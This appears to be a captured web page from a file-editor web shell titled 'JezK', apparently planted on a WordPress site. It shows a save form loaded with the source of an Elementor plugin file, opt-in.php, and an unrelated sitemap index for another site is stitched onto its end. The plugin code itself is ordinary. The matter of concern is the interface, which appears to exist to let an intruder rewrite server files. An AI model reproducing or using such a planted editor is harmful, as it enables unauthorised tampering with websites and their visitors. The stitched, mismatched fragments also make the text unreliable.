
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: opt-in.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\AtomicWidgets;

use Elementor\Core\Common\Modules\Ajax\Module as Ajax;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
use Elementor\Modules\GlobalClasses\Module as GlobalClassesModule;
use Elementor\Modules\NestedElements\Module as NestedElementsModule;
use Elementor\Modules\AtomicWidgets\Module as AtomicWidgetsModule;
use Elementor\Plugin;

class Opt_In {
	const EXPERIMENT_NAME = &#039;e_opt_in_v4&#039;;

	const OPT_OUT_FEATURES = [
		self::EXPERIMENT_NAME,
		AtomicWidgetsModule::EXPERIMENT_NAME,
		GlobalClassesModule::NAME,
	];

	const OPT_IN_FEATURES = [
		self::EXPERIMENT_NAME,
		&#039;container&#039;,
		NestedElementsModule::EXPERIMENT_NAME,
		AtomicWidgetsModule::EXPERIMENT_NAME,
		GlobalClassesModule::NAME,
	];

	public function init() {
		$this-&gt;register_feature();

		add_action( &#039;elementor/ajax/register_actions&#039;, fn( Ajax $ajax ) =&gt; $this-&gt;add_ajax_actions( $ajax ) );
	}

	private function register_feature() {
		Plugin::$instance-&gt;experiments-&gt;add_feature([
			&#039;name&#039; =&gt; self::EXPERIMENT_NAME,
			&#039;title&#039; =&gt; esc_html__( &#039;Editor V4&#039;, &#039;elementor&#039; ),
			&#039;description&#039; =&gt; esc_html__( &#039;Enable Editor V4.&#039;, &#039;elementor&#039; ),
			&#039;hidden&#039; =&gt; true,
			&#039;default&#039; =&gt; Experiments_Manager::STATE_INACTIVE,
			&#039;release_status&#039; =&gt; Experiments_Manager::RELEASE_STATUS_ALPHA,
		]);
	}

	private function opt_out_v4() {
		foreach ( self::OPT_OUT_FEATURES as $feature ) {
			$feature_key = Plugin::$instance-&gt;experiments-&gt;get_feature_option_key( $feature );
			update_option( $feature_key, Experiments_Manager::STATE_INACTIVE );
		}
	}

	private function opt_in_v4() {
		foreach ( self::OPT_IN_FEATURES as $feature ) {
			$feature_key = Plugin::$instance-&gt;experiments-&gt;get_feature_option_key( $feature );
			update_option( $feature_key, Experiments_Manager::STATE_ACTIVE );
		}
	}

	public function ajax_opt_out_v4() {
		if ( ! current_user_can( &#039;manage_options&#039; ) ) {
			throw new \Exception( &#039;Permission denied&#039; );
		}

		$this-&gt;opt_out_v4();
	}

	public function ajax_opt_in_v4() {
		if ( ! current_user_can( &#039;manage_options&#039; ) ) {
			throw new \Exception( &#039;Permission denied&#039; );
		}

		$this-&gt;opt_in_v4();
	}

	private function add_ajax_actions( Ajax $ajax ) {
		$ajax-&gt;register_ajax_action( &#039;editor_v4_opt_in&#039;, fn() =&gt; $this-&gt;ajax_opt_in_v4() );
		$ajax-&gt;register_ajax_action( &#039;editor_v4_opt_out&#039;, fn() =&gt; $this-&gt;ajax_opt_out_v4() );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
